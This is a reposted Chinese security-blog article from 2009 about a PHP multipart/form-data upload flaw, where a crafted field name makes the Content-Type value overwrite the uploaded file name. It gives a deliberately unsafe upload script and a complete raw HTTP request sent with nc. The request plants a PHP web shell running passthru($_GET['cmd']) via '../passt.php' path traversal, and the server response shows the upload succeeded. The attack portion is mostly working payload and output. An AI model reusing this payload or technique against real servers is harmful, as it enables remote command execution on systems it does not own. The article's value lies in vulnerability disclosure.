首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File Upload
来源:http://www.blogjava.net/baicker 作者:baicker 发布时间:2009-07-28  
原文:http://www.wisec.it/news.php?page=1&lang=it
 鸟文没太看明白,摸索了一下,$_FILE数组元素解析的问题。

搭个php的环境,目录在C:\www下,根目录下有个upload.php代码如下
<?php

 
$uploaddir = 'c:/www/';
 
$uploadfile = $uploaddir . $_FILES['user_file']['name'];

 
print "<pre>";
 
if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
    
print "File is valid, and was successfully uploaded. ";
    
print "Here's some more debugging info:\n";
    
print_r($_FILES);
 } 
else {
    
print "Possible file upload attack!  Here's some debugging info:\n";
    
print_r($_FILES);
 }
 
print "</pre>";
 
?>

使用nc,发送修改过的包,添加了一个段(暂且叫段吧,大家应该能看明白),主要修改了其中的Content-Type的值,发包内容如下:
POST /upload.php HTTP/1.1
Accept: */*
Referer: http://localhost/upload.html
Accept-Language: zh-cn
Content-Type: multipart/form-data
; boundary=---------------------------7d915736b07cc
UA-CPU: x86
Accept-Encoding: gzip
, deflate
User-Agent: Mozilla/
4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: localhost
Content-Length: 
477
Connection: Keep-Alive
Cache-Control: no-cache

-----------------------------7d915736b07cc
Content-Disposition: form-data
; name="user[file[name]123"; filename="a.php"
Content-Type: ../passt.php

<?php
passthru($_GET
['cmd']);
?>
-----------------------------7d915736b07cc--

-----------------------------7d915736b07cc
Content-Disposition: form-data
; name="user[file[name]123"; filename="vg"
Content-Type: application/octet-stream

<?php
passthru($_GET
['cmd']);
?>
-----------------------------7d915736b07cc--

提示结果如下:
C:\>nc localhost 80 <up.txt
HTTP/
1.1 200 OK
Date: Mon
, 27 Jul 2009 03:44:33 GMT
Server: Apache/
2.0.50 (Win32) PHP/5.0.0
X-Powered-By: PHP/
5.0.0
Content-Length: 
284
Keep-Alive: timeout
=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<pre>File is valid
, and was successfully uploaded. Here's some more debugging in
fo:
Array
(
    
[user_file] => Array
        (
            
[name] => ../passt.php
            
[tmp_name] => C:\WINDOWS\TEMP\php248.tmp
            
[error] =0
            
[size] =34
        )

)
</pre>^C
C:\>

然后C:\根目录中可以看到上传了passt.php文件。

能干嘛?不知道,别问我,我什么都不知道。

(需要$_FILES,变量必须要有下划线“_”,这里是“user_file”,没时间仔细研究了。)

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·四通政府CMS管理系统的union注入
·各大游戏高危漏洞(魔兽争霸、反
·Dedecms爆路径漏洞
·Dedecms多个鸡肋漏洞分析
·嘉缘人才cms系统最后一个注射漏
·Discuz! admin\styles.inc.php g
·国外一Blog程序0day
·WordPress 2.8.3高危漏洞
·MS09-044:远程桌面连接中的允许
·风讯 4.0 SP7 getshell 0day
·Joomla! HTTP头跨站脚本执行漏洞
·Sun One WebServer 6.1 JSP Sour
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved